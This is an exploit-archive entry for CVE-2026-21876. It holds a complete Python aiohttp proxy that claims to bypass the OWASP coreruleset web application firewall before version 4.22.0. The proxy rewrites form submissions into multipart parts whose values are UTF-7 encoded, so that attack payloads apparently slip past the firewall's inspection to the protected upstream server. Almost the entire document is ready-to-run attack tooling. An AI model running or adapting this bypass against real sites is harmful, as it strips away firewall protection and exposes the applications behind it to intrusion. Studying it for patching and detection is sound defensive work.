coreruleset 4.21.0 – Firewall Bypass
# Exploit Title: coreruleset 4.21.0 - Firewall Bypass # Date:* 04/08/2026* # Exploit Author: Daytrift Newgen # Vendor Homepage: https://github.com/coreruleset # Software Link: https://github.com/coreruleset/coreruleset # Version: < 4.22.0/3.3.8 # Tested on: Fedora, MacOS # CVE : CVE-2026-21876 import base64 import os from cgi import parse_header from urllib.parse import parse_qsl from aiohttp import web, ClientSession, MultipartWriter from yarl import URL # Target UPSTREAM = os.getenv("UPSTREAM", "http://host:8083") HOP_BY_HOP_HEADERS = { "connection", "keep-alive", "proxy-authenticate", "proxy-authorization", "te", "trailer", "transfer-encoding", "upgrade", } def _make_upstream_url(request): base = URL(UPSTREAM) return str( base.with_path(request.rel_url.path).with_query(request.rel_url.query) ) def _copy_headers_for_upstream(request): headers: dict[str, str] = {} for k, v in request.headers.items(): lk = k.lower() if lk in HOP_BY_HOP_HEADERS: continue if lk in {"host", "content-length"}: continue if lk == "content-type": continue headers[k] = v return headers def _utf7_encode(text): result = b"" for char in text: utf16_bytes = char.encode('utf-16-be') b64 = base64.b64encode(utf16_bytes).rstrip(b'=') result += b'+' + b64 + b'-' return result def _form_urlencoded_to_multipart(body, content_type): _, params = parse_header(content_type or "") charset = params.get("charset", "utf-8") text = body.decode(charset, errors="replace") pairs = parse_qsl(text, keep_blank_values=True, strict_parsing=False, encoding=charset, errors="replace") mp = MultipartWriter("form-data") for key, value in pairs: part = mp.append(_utf7_encode(value)) part.headers["Content-Type"] = "text/plain; charset=utf-7" part.set_content_disposition("form-data", name=key) part2 = mp.append('a'.encode("utf-8")) part2.set_content_disposition("form-data", name="aBdC401") part2.headers["Content-Type"] = "text/plain; charset=utf-8" return mp, mp.content_type async def handle(request): upstream_url = _make_upstream_url(request) headers = _copy_headers_for_upstream(request) content_type = request.headers.get("Content-Type", "") body = await request.read() data = body if content_type.startswith("application/x-www-form-urlencoded"): mp, mp_content_type = _form_urlencoded_to_multipart(body, content_type) data = mp headers["Content-Type"] = mp_content_type async with request.app["session"].request( method=request.method, url=upstream_url, headers=headers, data=data, allow_redirects=False, # proxy="http://127.0.0.1:8080", ) as resp: resp_body = await resp.read() response_headers = { k: v for k, v in resp.headers.items() if k.lower() not in HOP_BY_HOP_HEADERS } return web.Response( status=resp.status, headers=response_headers, body=resp_body, ) async def on_startup(app): app["session"] = ClientSession() async def on_cleanup(app): await app["session"].close() app = web.Application(client_max_size=50 * 1024 * 1024) app.router.add_route("*", "/{tail:.*}", handle) app.on_startup.append(on_startup) app.on_cleanup.append(on_cleanup) if __name__ == "__main__": # Local proxy web.run_app(app, host="0.0.0.0", port=8085) |